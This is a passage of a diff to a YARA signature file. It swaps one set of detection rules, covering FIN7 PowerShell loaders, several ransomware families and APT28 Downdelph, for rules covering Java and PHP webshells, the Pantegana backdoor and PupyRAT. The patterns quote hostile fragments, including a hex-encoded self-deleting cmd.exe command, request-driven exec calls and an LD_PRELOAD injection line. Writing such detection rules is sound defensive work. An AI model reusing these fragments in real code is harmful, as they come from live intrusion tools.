-		hash4 = "dc9442838b464e96281a32705c9b5958e4f45dbefd1ef4a885fac9898af0a4b7"
-		hash5 = "fad295cf65552061dc553c21d89d8bbd0b02783c01f5e696232df6a14381c206"
-		tlp = "White"
-		adversary = "FIN7"
+		quality = 80
+		tags = "GENERAL, WEBSHELLS"
+		hash1 = "4935f0c50057e28efa7376c734a4c66018f8d20157b6584399146b6c79a6de15"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		memory_suitable = 1
 
 	strings:
-		$s1 = { 3d 4e 65 77 2d 4f 62 6a 65 63 74 20 49 4f 2e 43 6f 6d 70 72 65 73 73 69 6f 6e 2e 44 65 66 6c 61 74 65 53 74 72 65 61 6d 28 5b 49 4f 2e 4d 65 6d 6f 72 79 53 74 72 65 61 6d 5d 5b 42 79 74 65 5b 5d [6-12] 5b 49 4f 2e 43 6f 6d 70 72 65 73 73 69 6f 6e 2e 43 6f 6d 70 72 65 73 73 69 6f 6e 4d 6f 64 65 5d 3a 3a 44 65 63 6f 6d 70 72 65 73 73 29 }
-		$s2 = { 40 28 5b 49 6e 74 50 74 72 5d 2c 5b 55 49 6e 74 33 32 5d 2c 5b 55 49 6e 74 33 32 5d 2c 5b 55 49 6e 74 33 32 5d 29 28 5b 49 6e 74 50 74 72 5d 29 }
-		$s3 = { 2c 20 24 6e 75 6c 6c 2c 20 5b 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 43 61 6c 6c 69 6e 67 43 6f 6e 76 65 6e 74 69 6f 6e 73 5d 3a 3a 41 6e 79 2c 20 40 28 28 4e 65 77 2d 4f 62 6a 65 63 74 20 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 48 61 6e 64 6c 65 52 65 66 29 2e 47 65 74 54 79 70 65 28 29 2c 20 5b 73 74 72 69 6e 67 5d 29 2c 20 24 6e 75 6c 6c }
-		$s4 = { 5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 47 65 74 44 65 6c 65 67 61 74 65 46 6f 72 46 75 6e 63 74 69 6f 6e 50 6f 69 6e 74 65 72 28 }
-		$s5 = { 2c 20 24 6e 75 6c 6c 2c 20 5b 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 43 61 6c 6c 69 6e 67 43 6f 6e 76 65 6e 74 69 6f 6e 73 5d 3a 3a 41 6e 79 2c 20 40 28 5b 73 74 72 69 6e 67 5d 29 2c 20 24 6e 75 6c 6c 29 }
-		$s6 = { 5b 41 70 70 44 6f 6d 61 69 6e 5d 3a 3a 43 75 72 72 65 6e 74 44 6f 6d 61 69 6e 2e 47 65 74 41 73 73 65 6d 62 6c 69 65 73 28 29 20 7c 20 57 68 65 72 65 2d 4f 62 6a 65 63 74 20 7b 20 24 5f 2e 47 6c 6f 62 61 6c 41 73 73 65 6d 62 6c 79 43 61 63 68 65 20 2d 41 6e 64 20 24 5f 2e 4c 6f 63 61 74 69 6f 6e 2e 53 70 6c 69 74 28 27 5c 5c 27 29 5b 2d 31 5d 2e 45 71 75 61 6c 73 28 28 }
-		$s7 = { 2c 20 5b 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 43 61 6c 6c 69 6e 67 43 6f 6e 76 65 6e 74 69 6f 6e 73 5d 3a 3a 53 74 61 6e 64 61 72 64 2c }
-		$s8 = { 5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 48 61 6e 64 6c 65 52 65 66 5d 28 4e 65 77 2d 4f 62 6a 65 63 74 20 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 48 61 6e 64 6c 65 52 65 66 28 24 }
-		$s9 = { 3d 5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 47 65 74 44 65 6c 65 67 61 74 65 46 6f 72 46 75 6e 63 74 69 6f 6e 50 6f 69 6e 74 65 72 28 24 }
-		$s10 = { 5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 43 6f 70 79 28 24 }
-		$s11 = { 3d 5b 49 6e 74 50 74 72 5d 3a 3a 5a 65 72 6f }
+		$s1 = "Runtime.getRuntime().exec(request." ascii
 
 	condition:
-		filesize >40KB and 8 of ($s*)
+		$s1
 }
-rule ARKBIRD_SOLG_Ran_Pay2Key_Nov_2020_1 : FILE
+rule VOLEXITY_Webshell_Jsp_Regeorg : WEBSHELL COMMODITY
 {
 	meta:
-		description = "Detect Pay2Key ransomware"
-		author = "Arkbird_SOLG"
-		id = "440b8128-4708-54ba-94c3-c0b522004da6"
-		date = "2020-12-01"
-		modified = "2020-12-14"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-14/Pay2Key/Ran_Pay2Key_Nov_2020_1.yar#L1-L31"
-		license_url = "N/A"
-		logic_hash = "f1ea1ed141ba7a1eaaa34c216adebfacaa23ef8776a0216b778ccb34bd000590"
+		description = "Detects the reGeorg webshells' JSP version."
+		author = "threatintel@volexity.com"
+		id = "205ee383-4298-5469-a509-4ce3eaf9dd0e"
+		date = "2022-03-08"
+		modified = "2022-08-10"
+		reference = "https://github.com/SecWiki/WebShell-2/blob/master/reGeorg-master/tunnel.jsp"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2022/2022-08-10 Mass exploitation of (Un)authenticated Zimbra RCE CVE-2022-27925/yara.yar#L47-L70"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "cecb71605d9112d509823c26e40e1cf9cd6db581db448db5c9ffc63a2bfe529e"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "5bae961fec67565fb88c8bcd3841b7090566d8fc12ccb70436b5269456e55c00"
-		hash2 = "d2b612729d0c106cb5b0434e3d5de1a5dc9d065d276d51a3fb25a08f39e18467"
-		hash3 = "ea7ed9bb14a7bda590cf3ff81c8c37703a028c4fdb4599b6a283d68fdcb2613f"
+		quality = 80
+		tags = "WEBSHELL, COMMODITY"
+		hash1 = "f9b20324f4239a8c82042d8207e35776d6777b6305974964cd9ccc09d431b845"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		memory_suitable = 1
 
 	strings:
-		$s1 = "F:\\2-Sources\\21-FinalCobalt\\Source\\cobalt\\Cobalt\\Cobalt\\Win32\\Release\\Client\\Cobalt.Client.pdb" fullword ascii
-		$s2 = ".\\Cobalt-Client-log.txt" fullword ascii
-		$s3 = ".\\Config.ini" fullword wide
-		$s4 = "Local\\{C15730E2-145C-4c5e-B005-3BC753F42475}-once-flag" fullword ascii
-		$s5 = "\\Microsoft\\Windows\\Themes\\TranscodedWallpaper" fullword ascii
-		$s6 = { 40 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 43 00 20 00 70 00 69 00 6e 00 67 00 20 00 31 00 2e 00 31 00 2e 00 31 00 2e 00 31 00 20 00 2d 00 6e 00 20 00 31 00 20 00 2d 00 77 00 20 00 33 00 30 00 30 00 30 00 20 00 3e 00 20 00 4e 00 75 00 6c 00 20 00 26 00 20 00 44 00 65 00 6c 00 20 00 2f 00 66 00 20 00 2f 00 71 00 20 00 22 00 25 00 73 00 22 }
-		$s7 = "%WINDRIVE%" fullword wide
-		$s8 = "%WINDIR%" fullword wide
-		$dbg1 = "message.txt" fullword ascii
-		$dbg2 = "Failed To Get Data...." fullword ascii
-		$dbg3 = "lock.locked()" fullword wide
-		$dbg4 = { 47 65 74 41 64 61 70 74 65 72 73 49 6e 66 6f 20 66 61 69 6c 65 64 20 77 69 74 68 20 65 72 72 6f 72 3a 20 25 64 0a }
-		$dbg5 = { 43 72 79 70 74 41 63 71 75 69 72 65 43 6f 6e 74 65 78 74 20 66 61 69 6c 65 64 3a 20 25 78 0a }
-		$dbg6 = { 43 72 79 70 74 44 65 72 69 76 65 4b 65 79 20 66 61 69 6c 65 64 3a 20 25 78 0a 00 00 25 00 64 }
-		$dbg7 = { 5b 2d 5d 20 43 72 79 70 74 45 6e 63 72 79 70 74 20 66 61 69 6c 65 64 0a }
+		$magic = "socketChannel.connect(new InetSocketAddress(target, port))" ascii
+		$a1 = ".connect(new InetSocketAddress" ascii
+		$a2 = ".configureBlocking(false)" ascii
+		$a3 = ".setHeader(" ascii
+		$a4 = ".getHeader(" ascii
+		$a5 = ".flip();" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize >500KB and (5 of ($s*) and 4 of ($dbg*))
+		$magic or all of ($a*)
 }
-rule ARKBIRD_SOLG_APT_APT28_Downdelph_Feb_2021_1 : FILE
+rule VOLEXITY_Webshell_Java_Behinder_Shellservice : WEBSHELLS COMMODITY
 {
 	meta:
-		description = "Detect Downdelph used by APT28 group"
-		author = "Arkbird_SOLG"
-		id = "0376c026-93eb-526a-8ab3-26bdd365e608"
-		date = "2021-02-18"
-		modified = "2021-02-19"
-		reference = "https://twitter.com/RedDrip7/status/1362343352759250946"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-02-18/APT28/APT_APT28_Downdelph_Feb_2021_1.yar#L1-L18"
-		license_url = "N/A"
-		logic_hash = "15e38ceeb0410645938ce2f90becf9a344711efd6e539f304de7b413f6f3b420"
+		description = "Looks for artifacts generated (generally seen in .class files) related to the Behinder framework."
+		author = "threatintel@volexity.com"
+		id = "21c1e3e9-d048-5c60-9c21-8e54b27f359a"
+		date = "2022-03-18"
+		modified = "2022-07-28"
+		reference = "https://github.com/MountCloud/BehinderClientSource/blob/master/src/main/java/net/rebeyond/behinder/core/ShellService.java"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L1-L23"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "373a8d4ef81e9bbbf1f24ebf0389e7da4b73f88786cc8e1d286ccc9f4c36debc"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "ee7cfc55a49b2e9825a393a94b0baad18ef5bfced67531382e572ef8a9ecda4b"
+		quality = 30
+		tags = "WEBSHELLS, COMMODITY"
+		hash1 = "9a9882f9082a506ed0fc4ddaedd50570c5762deadcaf789ac81ecdbb8cf6eff2"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		memory_suitable = 1
 
 	strings:
-		$s1 = { 53 [1-3] 81 c4 [2] ff ff 8b f2 8b ?? 54 8d 44 24 08 50 68 04 01 00 00 8b ?? e8 [12-22] 8d 54 24 04 8b c6 [73-133] 33 d2 52 50 8b 45 e8 8b 55 ec e8 [3] ff 8b 4d 0c 89 01 89 51 04 8b 45 f0 33 d2 52 50 8b 45 e8 8b 55 ec e8 [3] ff 8b 4d 10 89 01 89 51 04 8b c3 5b 8b e5 5d }
-		$s2 = "cmd.exe /c " fullword ascii
-		$s3 = "Failed to Save Stream %s is already associated with %s=This control requires version 4.70 or greater of COMCTL32.DLL" fullword wide
-		$s4 = { 53 00 79 00 73 00 74 00 65 00 6d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 5c 00 4b 00 65 00 79 00 62 00 6f 00 61 00 72 00 64 00 20 00 4c 00 61 00 79 00 6f 00 75 00 74 00 73 00 5c 00 25 00 2e 00 38 00 78 }
-		$s5 = { 4a 00 50 00 45 00 47 00 20 00 65 00 72 00 72 00 6f 00 72 00 20 00 23 00 25 00 64 }
-		$s6 = { 45 00 72 00 72 00 6f 00 72 00 20 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 69 00 6e 00 67 00 20 00 74 00 6f 00 20 00 73 00 65 00 72 00 76 00 65 00 72 00 3a 00 20 00 25 00 73 }
+		$s1 = "CONNECT" ascii fullword
+		$s2 = "DISCONNECT" ascii fullword
+		$s3 = "socket_" ascii fullword
+		$s4 = "targetIP" ascii fullword
+		$s5 = "targetPort" ascii fullword
+		$s6 = "socketHash" ascii fullword
+		$s7 = "extraData" ascii fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize >100KB and 5 of them
+		all of them
 }
-rule ARKBIRD_SOLG_RAN_ELF_Hellokitty_Aug_2021_1 : FILE
+rule VOLEXITY_General_Java_Encoding_And_Classloader : WEBSHELLS GENERAL FILE
 {
 	meta:
-		description = "Detect HelloKitty ransomware"
-		author = "Arkbird_SOLG"
-		id = "3e83f07a-0ee7-5381-9aba-2606c01b9d91"
-		date = "2021-08-14"
-		modified = "2021-08-14"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-14/HelloKitty/RAN_ELF_HelloKitty_Aug_2021_1.yara#L1-L17"
-		license_url = "N/A"
-		logic_hash = "99816756ea0a680eb25da192c9f069082f6479befe4e50188ad8f90b323d1f2d"
+		description = "Identifies suspicious java-based files which have all the ingredients required for a webshell."
+		author = "threatintel@volexity.com"
+		id = "7de5449d-de70-5153-b1b1-8a995ac8b7a0"
+		date = "2022-04-07"
+		modified = "2022-07-28"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L25-L43"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "21c226b03451eb98a8be5b26a9f00169f16454ecd21d4131c9991b63d2e3c8cd"
+		score = 65
+		quality = 80
+		tags = "WEBSHELLS, GENERAL, FILE"
+		hash1 = "0d5dc54ef77bc18c4c5582dca4619905605668cffcccc3829e43c6d3e14ef216"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		memory_suitable = 0
+
+	strings:
+		$s1 = "javax.crypto.spec.SecretKeySpec" ascii
+		$s2 = "java/security/SecureClassLoader" ascii
+		$s3 = "sun.misc.BASE64Decoder" ascii
+
+	condition:
+		filesize <50KB and all of them
+}
+rule VOLEXITY_Webshell_Php_Str_Replace_Create_Func : WEBSHELLS GENERAL FILE
+{
+	meta:
+		description = "Looks for obfuscated PHP shells where create_function() is obfuscated using str_replace and then called using no arguments."
+		author = "threatintel@volexity.com"
+		id = "e0a5965c-54c3-5699-a45b-58f7152574dd"
+		date = "2022-04-04"
+		modified = "2022-07-28"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L45-L73"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "6a9ded1f1a8e4b8ae5f3db06f71bec6e9f62b6126b7444408d6319a35ed23827"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "ca607e431062ee49a21d69d722750e5edbd8ffabcb54fa92b231814101756041"
-		hash2 = "b4f90cff1e3900a3906c3b74f307498760462d719c31d008fc01937f5400fb85"
-		tlp = "White"
-		adversary = "RAAS"
+		quality = 80
+		tags = "WEBSHELLS, GENERAL, FILE"
+		hash1 = "c713d13af95f2fe823d219d1061ec83835bf0281240fba189f212e7da0d94937"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		memory_suitable = 0
 
 	strings:
-		$seq1 = { 48 8d 74 24 08 bf d0 4a 61 00 48 c7 44 24 10 00 00 00 00 48 c7 44 24 08 01 00 00 00 e8 [2] ff ff 48 8b 05 ?? 13 21 00 48 8b 3d ?? 14 21 00 48 89 e9 ba ?? 0c 41 00 be 01 00 00 00 48 8b 04 18 44 8b 00 31 c0 e8 ?? e2 ff ff 48 8b 3d ?? 14 21 00 e8 [2] ff ff bf d0 4a 61 00 e8 [2] ff ff 48 8b 05 ?? 13 21 00 48 8b 3d ?? 12 21 00 48 89 e9 ba ?? 0c 41 00 be 01 00 00 00 48 8b 04 18 44 8b 00 31 c0 e8 ?? e2 ff ff 48 8b 05 [2] 21 00 b9 ?? 0c 41 00 ba 80 00 00 00 be 01 00 00 00 4c 89 e7 48 8b 04 18 44 8b 00 31 c0 e8 ?? e5 ff ff 4c 89 e7 e8 cd 10 00 00 48 85 c0 49 89 c7 0f 84 9b 00 00 00 48 83 3d ?? 13 21 00 00 74 60 48 8d 74 24 08 bf d0 4a 61 00 48 c7 44 24 10 00 00 00 00 48 c7 44 24 08 01 00 00 00 e8 ?? e3 ff ff 48 8b 05 ?? 12 21 00 48 8b 3d ?? 13 21 00 48 89 e9 ba [2] 41 00 be 01 00 00 00 48 8b 04 18 44 8b 00 31 c0 e8 ?? e1 ff ff 48 8b 3d ?? 13 21 00 e8 ?? e6 ff ff bf d0 4a 61 00 e8 [2] ff ff 48 8b 05 ?? 12 21 00 48 8b 3d [2] 21 00 48 89 e9 ba [2] 41 00 be 01 00 00 00 48 8b 04 18 44 8b 00 31 c0 e8 ?? e1 ff ff }
-		$seq2 = { 31 c0 b9 40 00 00 00 48 89 ef f3 ab be ?? 0d 41 00 48 89 df e8 [2] ff ff 48 85 c0 49 89 c5 0f 84 4c 01 00 00 48 89 c2 48 89 de 48 89 ef 48 29 da e8 71 07 00 00 be 3a 00 00 00 48 89 ef e8 [2] ff ff 48 8d 78 01 e8 [2] ff ff 85 c0 41 89 c7 0f 84 04 01 00 00 bf 10 00 00 00 e8 ?? dd ff ff 4c 89 ef 44 89 38 49 89 c6 48 89 04 24 e8 3d f5 ff ff 48 83 3d ?? 0e 21 00 00 49 89 46 08 74 6f 48 8d 74 24 08 bf d0 4a 61 00 48 c7 44 24 10 00 00 00 00 48 c7 44 24 08 01 00 00 00 e8 [2] ff ff 48 8b 04 24 48 8b 0d ?? 0d 21 00 ba ?? 0d 41 00 48 2b 0d ?? 0d 21 00 48 8b 3d ?? 0e 21 00 be 01 00 00 00 4c 8b 48 08 44 8b 00 31 c0 48 c1 f9 03 48 ff c1 e8 ?? dc ff ff 48 8b 3d [2] 21 00 e8 [2] ff ff bf d0 4a 61 00 e8 [2] ff ff 48 8b 04 24 48 8b 0d [2] 21 00 be 01 00 00 00 48 2b 0d [2] 21 00 48 8b 3d ?? 0c 21 00 ba ?? 0d 41 00 4c 8b 48 08 44 8b 00 31 c0 48 c1 f9 03 48 ff c1 e8 [2] ff ff 48 8b 35 [2] 21 00 48 3b 35 [2] 21 00 74 16 48 85 f6 74 07 48 8b 04 24 48 89 06 48 83 05 [2] 21 00 08 eb 0d 48 89 e2 bf e0 49 61 00 e8 af 02 00 00 48 8d 7b 01 be ?? 0d 41 00 e8 ?? dd ff ff 48 89 c3 e9 86 fe ff ff 4d 85 e4 74 08 4c 89 e7 e8 [2] ff ff 48 83 3d ?? 0d 21 00 00 74 61 48 8d 74 24 08 bf d0 4a 61 00 48 c7 44 24 10 00 00 00 00 48 c7 44 24 08 01 00 00 00 e8 [2] ff ff 48 8b 0d ?? 0c 21 00 48 2b 0d ?? 0c 21 00 ba ?? 0d 41 00 48 8b 3d ?? 0d 21 00 be 01 00 00 00 31 c0 48 c1 f9 03 e8 ?? db ff ff 48 8b 3d [2] 21 00 e8 [2] ff ff bf d0 4a 61 00 e8 [2] ff ff 48 8b 0d ?? 0c 21 00 48 2b 0d [2] 21 00 31 c0 48 8b 3d ?? 0b 21 00 ba ?? 0d 41 00 be 01 00 00 00 48 c1 f9 03 e8 [2] ff ff 48 8b 84 24 18 01 00 00 64 48 33 04 25 28 00 00 }
-		$seq3 = { 48 8d b4 24 90 00 00 00 bf d0 4a 61 00 48 c7 84 24 98 00 00 00 00 00 00 00 48 c7 84 24 90 00 00 00 01 00 00 00 e8 [2] ff ff e8 ?? 22 00 00 89 44 24 08 8b 05 [2] 21 00 89 d9 44 8b 0d [2] 21 00 44 8b 05 [2] 21 00 ba ?? 0e 41 00 48 8b 3d [2] 21 00 be 01 00 00 00 89 04 24 31 c0 e8 ?? f8 ff ff 48 8b 3d [2] 21 00 e8 [2] ff ff bf d0 4a 61 00 e8 [2] ff ff 31 f6 ba 0a 00 00 00 bf 40 4a 61 00 e8 ?? fa ff ff ba 0a 00 00 00 31 f6 bf 20 4a 61 00 e8 ?? fa ff ff be 01 00 00 00 bf 11 00 00 00 e8 [2] ff ff be 01 00 00 00 bf 14 00 00 00 e8 [2] ff ff be 01 00 00 00 bf 16 00 00 00 e8 [2] ff ff be 01 00 00 00 bf 15 00 00 00 e8 [2] ff ff 83 3d ?? 28 21 00 00 }
+		$php = "<?php"
+		$s = "=str_replace(" ascii
+		$anon_func = "(''," ascii
 
 	condition:
-		uint32(0)==0x464C457F and filesize >20KB and all of ($seq*)
+		filesize <100KB and $php at 0 and for any i in (1..#s) : ( for any j in (1..#anon_func) : ( uint16be(@s[i]-2)== uint16be(@anon_func[j]-2)))
 }
-rule ARKBIRD_SOLG_RAN_Nitro_Aug_2021_1 : FILE
+rule VOLEXITY_Trojan_Golang_Pantegana : COMMODITY
 {
 	meta:
-		description = "Detect Nitro ransomware"
-		author = "Arkbird_SOLG"
-		id = "256059b2-1683-5108-8fc8-3cf0b2e7b613"
-		date = "2021-08-12"
-		modified = "2021-08-13"
-		reference = "https://bazaar.abuse.ch/browse/tag/NitroRansomware/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-13/Nitro/RAN_Nitro_Aug_2021_1.yara#L1-L23"
-		license_url = "N/A"
-		logic_hash = "c31267cd9bc6c63db8e32b2a0e7518b0432d62f1de52117b9e903fc3370a1f4d"
+		description = "Detects PANTEGANA, a Golang backdoor used by a range of threat actors due to its public availability."
+		author = "threatintel@volexity.com"
+		id = "b6154165-68e0-5986-a0cf-5631d369c230"
+		date = "2022-03-30"
+		modified = "2022-07-28"
+		reference = "https://github.com/elleven11/pantegana"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L75-L99"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "791a664a6b4b98051cbfacb451099de085cbab74d73771709377ab68a5a23d2b"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "1194aebc9a0016084f6966b07a171e4c62ce1b21580d177a876873641692ee13"
-		hash2 = "6546f0638160cb590b4ead2401fb55d48e10b2ee1808ff0354fff52c9e2f62bf"
-		hash3 = "89dbea1e4b387325f21c784dc72fcf52599f69e1ded27d1b830ff57ae4831559"
-		hash4 = "d8e9561612c6e06160d79abde41c7b66e4921a1c041ad5c2658d43050b4fd2d0"
-		hash5 = "dbed3399932fabe6f7f863403279ac9a6b075aa307dd445df2c7060157d3063b"
-		tlp = "white"
-		adversary = "-"
+		quality = 80
+		tags = "COMMODITY"
+		hash1 = "8297c99391aae918f154077c61ea94a99c7a339166e7981d9912b7fdc2e0d4f0"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		memory_suitable = 1
 
 	strings:
-		$s1 = { 1f 1a 28 ?? 00 00 0a [0-2] 72 ?? 14 00 70 28 15 00 00 0a 80 32 00 00 04 28 ?? 00 00 06 7e 32 00 00 04 6f ?? 00 00 0a [0-1] 7e 2f 00 00 04 16 7e 32 00 00 04 7e 30 00 00 04 7e 31 00 00 04 60 28 ?? 00 00 06 26 2a }
-		$s2 = { 02 [0-5] 72 df 00 00 70 28 1b 00 00 }
-		$s3 = { 1f 1a 28 ?? 00 00 0a 0a 1f 1c 28 ?? 00 00 0a 0b 7e 21 00 00 04 06 72 ?? 0c 00 70 28 15 00 00 0a 6f 16 00 00 0a [2] ?? 00 }
-		$s4 = { 7e 4e 00 00 0a 0a [0-1] 72 [2] 00 70 73 ?? 00 00 06 0b [0-1] 07 72 [2] 00 70 6f ?? 00 00 06 [1-3] 8d 7f 00 00 01 25 16 1f 0a 9d 6f ?? 00 00 0a 1c 9a 0a [0-1] de ?? 07 2c ?? 07 6f 42 00 00 0a }
-		$s5 = { 7e 4e 00 00 0a 0a [0-1] 73 ?? 00 00 0a 0b [0-1] 07 72 ?? 14 00 70 6f ?? 00 00 0a [0-2] 6f ?? 00 00 0a 6f ?? 00 00 0a 6f ?? 00 00 0a [0-2] 6f ?? 00 00 0a 0a }
+		$s1 = "RunFingerprinter" ascii
+		$s2 = "SendSysInfo" ascii
+		$s3 = "ExecAndGetOutput" ascii
+		$s4 = "RequestCommand" ascii
+		$s5 = "bindataRead" ascii
+		$s6 = "RunClient" ascii
+		$magic = "github.com/elleven11/pantegana" ascii
 
 	condition:
-		uint16(0)==0x5A4D and filesize >25KB and all of ($s*)
+		5 of ($s*) or $magic
 }
-rule ARKBIRD_SOLG_Ran_Egregor_Sept_2020_1 : FILE
+rule VOLEXITY_Trojan_Any_Pupyrat_B : COMMODITY
 {
 	meta:
-		description = "Detect Egregor ransomware (variant Sept2020)"
-		author = "Arkbird_SOLG"
-		id = "b44b93ec-b470-511e-b08f-7d83efd30ecc"
-		date = "2020-10-07"
-		modified = "2020-10-16"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-16/Ran_Egregor_Sept_2020_1.yar#L1-L22"
-		license_url = "N/A"
-		logic_hash = "4ce7398cc6ad0538735aec6490204122690f029cbb8d20f9efd2f612955f106b"
+		description = "Detects the PUPYRAT malware family, a cross-platform RAT written in Python."
+		author = "threatintel@volexity.com"
+		id = "1da1e5ba-cf00-5935-b3d1-0ff2713b7e34"
+		date = "2022-04-07"
+		modified = "2022-07-28"
+		reference = "https://github.com/n1nj4sec/pupy"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L101-L134"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "65eebfea2338deed682693f048a88d46ea4621177acb77c0642583b0dc35c818"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "4c9e3ffda0e663217638e6192a093bbc23cd9ebfbdf6d2fc683f331beaee0321"
-		hash2 = "aee131ba1bfc4b6fa1961a7336e43d667086ebd2c7ff81029e14b2bf47d9f3a7"
-		hash3 = "3fd510a3b2e0b0802d57cd5b1cac1e61797d50a08b87d9b5243becd9e2f7073f"
-		hash4 = "9c900078cc6061fb7ba038ee5c065a45112665f214361d433fc3906bf288e0eb"
-		hash5 = "a376fd507afe8a1b5d377d18436e5701702109ac9d3e7026d19b65a7d313b332"
+		quality = 80
+		tags = "COMMODITY"
+		hash1 = "7474a6008b99e45686678f216af7d6357bb70a054c6d9b05e1817c8d80d536b4"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		memory_suitable = 1
 
 	strings:
-		$x1 = "dmocx.dll" fullword ascii
-		$s2 = "C:\\Logmein\\{888-8888-9999}\\Logmein.log" fullword wide
-		$s3 = "M:\\sc\\p\\testbuild.pdb" fullword ascii
-		$s4 = "Type Descriptor'" fullword ascii
-		$s5 = "=$=`=h=p=t=x=|=" fullword ascii
-		$s6 = "--nop" fullword wide
-		$s7 = "9,94989@9X9" fullword ascii
+		$elf1 = "LD_PRELOAD=%s HOOK_EXIT=%d CLEANUP=%d exec %s 1>/dev/null 2>/dev/null" ascii
+		$elf2 = "reflective_inject_dll" fullword ascii
+		$elf3 = "ld_preload_inject_dll" fullword ascii
+		$pupy1 = "_pupy.error" ascii
+		$pupy2 = "_pupy" ascii
+		$pupy3 = "pupy://" ascii
+		$s1 = "Args not passed" ascii
+		$s2 = "Too many args" ascii
+		$s3 = "Can't execute" ascii
+		$s4 = "mexec:stdin" ascii
+		$s5 = "mexec:stdout" ascii
+		$s6 = "mexec:stderr" ascii
+		$s7 = "LZMA error" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize >200KB and 1 of ($x*) and 4 of ($s*)
+		any of ($elf*) or all of ($pupy*) or all of ($s*)
 }
-rule ARKBIRD_SOLG_Ran_Crysis_Sep_2020_1 : FILE
+rule VOLEXITY_General_Php_Fileinput_Eval : WEBSHELLS GENERAL
 {
 	meta:
-		description = "Detect Crysis ransomware"
